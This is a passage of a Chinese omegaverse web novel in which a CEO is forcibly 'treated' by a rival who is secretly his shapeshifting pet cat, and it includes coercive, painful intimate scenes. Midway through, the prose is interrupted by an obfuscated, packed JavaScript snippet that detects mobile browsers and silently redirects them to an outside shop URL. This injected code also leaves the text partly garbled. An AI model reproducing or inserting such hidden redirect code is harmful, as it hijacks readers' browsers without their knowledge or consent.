窗外星光璀璨,某种早已萌芽却始终被刻意忽视的纠缠,似乎正朝着无人预料的方向狂奔而去。 互联网向来没有记忆,尤其是这种狂欢来得快也去的快,三天后,总裁和猫的狂热度被一条震撼全国的重磅新闻压下。 天穹科技突然宣布拿下了亚洲最大的新能源核心技术专利,这一消息直接导致诸多相关产业链股票剧烈震荡,其中也包括蒋氏集团。 蒋氏集团旗下重要的科技子公司,因押注路线与天穹科技获胜的技术路线相悖,股价在一天之内惨遭重挫,市值蒸发得吓人。 总裁办公室里,黑云压城城欲摧。 蒋晗看着屏幕上那一大片刺目的绿色和不断跳动的巨额亏损数字,脸色比窗外阴沉的天还要难看,一口老血如哽在喉,感觉信息素都又要开始躁动起来了。 “前脚还在直播间刷礼物装好人,后脚又给我一刀……”蒋晗咬牙说着,这个混蛋已经第几次做这种事了,他已经不想去数了。 腿上趴着小昧的小猫被男人手上不自觉加重的力道揉醒,抬起头看着他“喵”了一声。 【这也要怪在我头上?】 【我做什么了?】 【这不是再正常不过的商业竞争吗……】 【你们拿不下专利怨我们喽?】 回到了家里,蒋晗都还在接集团打来的电话,处理这些焦头烂额的事,直到钟表上的指针指向八点,别墅玄关的门“咔哒”一声开了。 蒋晗坐在书房里,他甚至没抬头,光是听到那不紧不慢的脚步声,浑身的肌肉就不自觉的绷紧了。 身材高挑的男人迈着悠闲的步子走进来,一身黑色大衣还带着室外的寒意,他冰蓝色的眼睛扫过电脑前的人那难看至极的脸色,嘴角勾起一个弧度。 K径直走到书桌旁,俯下身一手撑在桌沿凑近下来,滚烫的呼吸几乎要烫伤蒋晗的耳廓,低沉的声音裹着毫不掩饰的邪恶笑意,一字一句,慢条斯理的传进某位总裁的耳朵里。 “三个亿……我算算啊,这够给你的宝贝猫买多少M9和牛了?”K啧了一声,眼眸里映出蒋晗骤然缩紧的瞳孔,多少带点屈辱意味。 K随即笑意更深,也更冰冷,嘲讽道:“不过看蒋总现在的脸色,怕是连猫粮都快供不起了吧?” 蒋晗的手指因为用力到之间发白,就听对方再次欠揍般的开了口,“怎么样,我送你的礼物,还喜欢吗?” “滚!”他猛地挥开对方的手,胸膛剧烈起伏,死死瞪着眼前这张俊美却无比可憎的脸,每一个字都像是从牙缝里碾磨出来:“来看笑话?看够了的话,可以滚了。” K顺势抓住了他挥过来的手腕,力道大得惊人。 他非但没退,反而就着这个姿势将蒋晗从椅子上半提起来,拉向自己。 惯性缘故,蒋晗被他突然的发力一扯,两人鼻尖几乎相抵,紧接着Enigma超强压迫感的信息素不再收敛,如同实质的枷锁瞬间缠绕上来。 “火气别这么大,蒋总。”K的声音压得更低,带着一种残忍的温柔,“你越是这样,我就越想看。” “你……变态!……”蒋晗咬牙狠狠说道。 K眼底的笑意更甚,扣着他手腕的指腹精准的按压在他狂乱跳动的脉搏上。 “心率过速,信息素紊乱,腺体淤堵,蒋总,你现在就像一只被拔了牙的病猫。”K说着,一个发力,将蒋晗粗暴的按在宽大的办公桌上,文件被扫落一地。 “求求我,说不定我心情一好,就在那个项目上给你留条活路?或者,在床上让你少吃点苦头?” 14.第 14 章 “做梦!”蒋晗死死咬着下唇,哪怕被按在桌上动弹不得,眼神依然倔强得像要把眼前的男人生吞活剥,“你这辈子都别指望我求你!” 长发俊美的男人哼笑一声,抱起他放在办公桌上,随即欺身而上。 膝盖强硬的顶开蒋晗的双腿,单手扣住他的后颈,根本没有给他任何适应的时间, Enigma狂浪的信息素就决堤般一泻而下,蛮横霸道的冲进了那处脆弱的腺体。 犬齿没入肌肤,K贪恋的短暂放开他,呼吸也有些不稳,在他耳边低声一句,“既然不肯求饶,那就受着吧。” “我倒要看看蒋总这身硬骨头,到底能撑到什么时候。” 书房内的空气仿佛被抽干,浓郁到几乎实质化的Enigma气息将蒋晗死死钉在宽大的办公桌上。 K单手扣住他的后颈,眉头微锁,冰蓝色的眸底翻涌着罕见的焦躁。 即便他已经释放了足以压制Alpha的信息素,可身下这具身体的腺体依然像是一块顽固的坚冰,淤堵不堪。 那些S级Alpha的信息素被锁死在深处,无论他如何引导都无法顺畅流转。 这么久了,竟然还没好转? 如果不彻底治愈蒋晗的腺体,他就无法从他身上汲取到最纯净最完美的S级Alpha信息素,这也就意味着他将永远无法完成最后的蜕变,永远只能在人和猫的形态之间切换。 银白色长发的男人眼里染上戾气,他放开身下颤抖不止的人,只犹豫了一瞬,就抬手抱起他出了书房,朝卧室走去。 K二话不说将蒋晗摔在了床上,几乎暴躁的俯身压了上来。 “你忍着点。”K的声音沙哑得不像话,不等蒋晗反应,再次咬上了对方的腺体。 “唔……”蒋晗猛的弓起脊背,脖颈拉出一道弧线,疼得眼前发黑。 侧颈的腺体像被无数细针同时刺穿,冷汗几乎是瞬间就浸透了他单薄的衬衫,额发湿漉漉的贴在苍白的皮肤上。(这里说的是牙齿咬进侧颈的腺体) 他死死咬住下唇,手指紧抓身下的床单,指节用力到泛白。 “不行……疼……你、你放开……”蒋晗疼得意识模糊,开始拼命挣扎。(这里疼是指被人咬住侧颈的腺体) K稍稍起身,看着身下人痛到发白的脸和被咬出血的嘴唇,心中那股烦躁和莫名的疼惜交织在一起。 “抱着我。”男人低声开口。 蒋晗意识都快要涣散了,闻言抬手抱住了他,完全是遵从本能,然而等待他的却是更深入骨髓的剧痛。 房间内只剩下压抑的喘息,和信息素无声又激烈的交融碰撞。 蒋晗疼得眼泪不自觉地往下滑落,偏偏他还死咬着嘴唇尽量让自己不吭一声,将后续的呻/吟全都堵在了喉咙里。 稍稍喘息的空挡,K看着身下的人疼到极点,心脏像被那些无声的泪水狠狠烫了一样。 银白色长发顺着肩膀肆意垂落,有几缕搭在蒋晗的脸上,男人俯身下来,一下一下轻轻吻在那些泪珠上,最后终也脱力的埋头趴在蒋晗肩窝里,压抑着轻喘。 濒临崩溃的信息素在男人的安抚下渐渐趋于平稳,蒋晗在剧痛的间隙感受到了一种诡异的安全感,仿佛这个暴君,也是这个世界上,唯一能拽住他不坠入深渊的神。 K就不一样了,这种不要命的暴力疏通,几乎耗尽了他今晚积攒的所有能量,对于还未完全稳定人形的他来说,这种负荷几乎快要了他半条命。 汗水早就浸透了黑色的衬衫,男人忍着力竭感和强烈的眩晕想要起身。 蒋晗似乎看出他不对劲,脸色难看的要死了一样。 K刚刚撑起身来半寸,一双漂亮的手突然环上他的腰将他勾住,紧接着传来身下的人还带着喘息的疲惫声音:“去哪。” 男人微微一愣,没有说话,只是轻轻抚过他的额头,随即挣脱他,站起身来。 他几乎站立不稳,踉跄了一步,一阵强烈的心悸感袭来,视野开始出现重影,那种熟悉的骨骼变化的酸痒感正顺着脊椎疯狂蔓延。 靠…… 耳朵……尾巴……快要藏不住了! “你怎么了?”蒋晗强行撑着脱力的身子坐起来,一把拉住他手腕,结果是再次被男人奋力挣脱甩开。 “借你……洗手间用下……” K咬着牙扔下一句,甚至顾不上看蒋晗一眼,故作镇定缓缓进了卫生间,关上门,反手落锁。 镜子里映出一张略显苍白的脸,冰蓝色的瞳孔周围血丝隐隐浮现,更糟糕的是,身体某些部位传来不受控制的冲动,身后仿佛有什么毛茸茸的东西,砰的一下!钻了出来…… 男人高挑的身材,劲瘦有力的腰肢,英俊深邃的眉眼,然而,身后一条毛茸茸的大尾巴有一下没一下的正在左右摆动,看起来有点烦…… 他双手撑在洗手台上,看着镜中的自己,咬咬牙,第一次,竟然觉得有点磨不开面。 暂时抛开别的不说,光是让外面那冰冷傲娇的美人看见自己这副模样,他怕不是得戳自己半辈子后脊梁吧!我一英俊潇洒的大帅哥,后面顶条毛茸茸的尾巴是怎么回事! K是打死也不可能让大变活猫这种事情发生,无论如何也不能暴露自己,面子的是不提的话,如果蒋晗知道自己就是他捧在手心的猫,又是把他欺负哭的人,后果不堪设想…… 目光扫过紧闭的窗户,男人强撑着走过去,用力将推开,发出不小的响动,又故意将洗手台上一个玻璃漱口杯扫落到了地上。 洗手间外传来由远及近的轻柔脚步声,蒋晗这会已经回过点神来,除了被咬的地方还在疼,体内信息素紊乱带来的不适已然消散。 “怎么了?”蒋晗敲了敲门:“有事吗你?” 无人应答。 蒋晗心头一紧,一种不祥的预感涌上心头,这疯子该不会是在他家卫生间晕倒了吧?毕竟刚才那场治疗后,他看起来确实不太好。 “说话!” 依旧是一片死寂。 正想着如果脱身,男人的手机兀自响起,卫生间里瞬间飘响“糟糕糟糕OMG,魔法怎么失灵啦!~”的美妙铃声。 “操……真他吗的……”K低声骂了一句匆匆挂掉电话,没想到自己也会有如此狼狈的一天,还不是着急想让蒋晗快点好起来才过度消耗的。 蒋晗拧了拧门把手,发现反锁了,手机也被挂断了,又拍了拍门板:“开门!” K屏住呼吸,集中最后的一丝气力,拉开窗子。 “哔”一声,电子门锁在外面被刷开。 蒋晗推开门,手里还拿着备用门卡,浴室里水汽氤氲,窗户大开着,夜风吹得窗帘猎猎作响,地上尽是碎裂的玻璃杯碎片。 而那个高大俊美的长发男人,消失得无影无踪。 蒋晗愣住了。 一道银白色的残影从里面浴室的窗台上蹦了下来,待水汽散去,蒋晗便看见一只湿漉漉的,眼神似乎还有些茫然的银白色小猫,正仰着头,用那双冰蓝色大眼睛看着自己,轻轻的“喵”了一声。 他快步走到窗边往下看,漆黑的花园里空无一人,只有风吹树枝干干巴巴的声音。 “人呢?”蒋晗那张清冷的脸上难得闪出一丝茫然,回过头又看了看地上的小猫,脑子一时似乎没有转过来个,嘀咕了一句:“跳窗跑了?” 虽然不高,但正常人谁会放着门不走跳窗户啊?刚才看他就有点不对劲,到底是怎么了? 蒋晗左右想不通,不明所以,但一想到K这个人本来就反常,经常不按常理出牌,他做出什么匪夷所思的事来似乎也说得过去。 目光落回地上的小猫身上,蒋晗揉了揉眉心,随即弯腰将地上那只看起来像是被吓傻了的小猫抱了起来。 入手还是一片潮湿,煤球身上的毛全都湿透了,像是刚淋过雨,又像是出了很多汗,身体还在微微发抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269316|198095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么了煤球?难道是那个变态对你做了什么?” 蒋晗说着,拽过一条浴巾裹住小猫搂在怀里,温柔擦着它湿漉的绒毛,有点别扭的低声说着: “他今天看起来不舒服,好像是硬撑着帮我治疗,我本来想问一句的,谁知道他竟然不理我。” “跑得倒快。” “煤球,那家伙脑子不正常,离他远一点,不要再自己跑出来了,听见了吗?他走了我会去接你的。” 蒋晗抱着猫走出卫生间,看着空荡荡的房间和床上凌乱的痕迹,沉默片刻,耳根莫名其妙染上一抹薄红,有点局促的抱着小猫转身出了卧室: “我去喝点水先……” 银白色小猫在男人的怀里蜷缩起来,把脸埋进他温暖的胸膛,几不可闻的呼出一口气。 K的这次暴力疏通虽然过程惨烈,但效果立竿见影。 接下来的两天,蒋晗感觉身体状况很好,神清气爽的,连带着应对公司的烂摊子都有了几分底气。 然而,蒋振业那只老狐狸显然不想给他喘息的机会。 “蒋总,这是董事会刚发下来的紧急议案。” 李森拿着一份厚厚的文件,脸色难看,“关于收购海外那个深蓝能源的并购案,蒋副董联合了几位大股东,要求您必须在一周内拿下,否则就要启动对您执行能力的弹劾程序。” 什么鬼执行能力的弹劾程序,他们公司什么时候出台的这个程序,亏他叔父想得出来! 蒋晗心里不爽,翻开文件,指尖越收越紧。 深蓝能源,那个早已被业界判定为“有毒资产”的空壳公司,不仅负债累累,还劳务纠纷缠身,叔父这是摆明了要给他挖坑。 很明显,跳进去是死,不跳也是死。 当天下午的视频会议上,面对几位元老级股东咄咄逼人的质问,气氛一度拔剑弩张。 而蒋振业,看似笑容和煦却卑鄙至极,说的话做的事条条道道都是陷阱,有几个股东顺着他的话,甚至让蒋晗亲自到海外去处理这次并购案,而且为期还不短,大有把他支走一两个月的架势。 叔父一派的股东们言语间或明或暗的施压,质疑蒋晗的身体状况能否承受长途跋涉和高压谈判,更暗示他性格过于内敛,恐怕无法应付那种混乱激烈的场合。 蒋晗坐在主位,背脊挺直,脸色却比平时更白。 他不惧怕挑战,他只是不想在那种环境里与无数陌生面孔虚与委蛇,被审视被围攻,光是想象就让他胃部生理性痉挛,信息素隐隐乱窜。 他能处理最复杂的报表,能谋划最深远的商业战略,却对这种人性嘈杂的充满算计的纠缠,有着近乎本能的抗拒和不安。 他能感觉到那些向他投来的目光里有多少是期待他出丑,有多少是等着他崩溃。 冷汗沿着脊椎悄悄滑落,最后蒋晗只冷漠留下一句“我会处理”便草草结束了会议离开了公司。 晚饭后,蒋晗抱着小猫蜷在沙发里,紧悬的神经似乎也终于松懈下来一些,他把脸埋在小猫温暖的肚皮上,声音闷闷的,带着平日里几乎无人得见的脆弱,怏怏的向小猫例行絮叨诉苦。 “煤球,他们都在逼我,我感觉自己很是没用啊……” “明知道那是坑,却连怼回去的话都说不出来……” “他们看我的眼神,就像在看一个笑话。” “我终究孤军奋战,感觉就剩一口仙气儿吊着了,哎……什么时候才是个头啊。” 小猫只是安静的听着,冰蓝色的兽瞳里闪过一丝冷冰冰的光,它有一下没一下的用脑袋蹭蒋晗的下巴,像是人类在思考时不经意的小动作,不过抱着它的人自然是没有察觉。 次日上午。 蒋晗刚到公司,手机就震了一下。 一封署名“K”的加密邮件,没有多余的寒暄,只有个附件,外加一个简单粗暴的标题: 【傻子都能看懂的反杀指南】。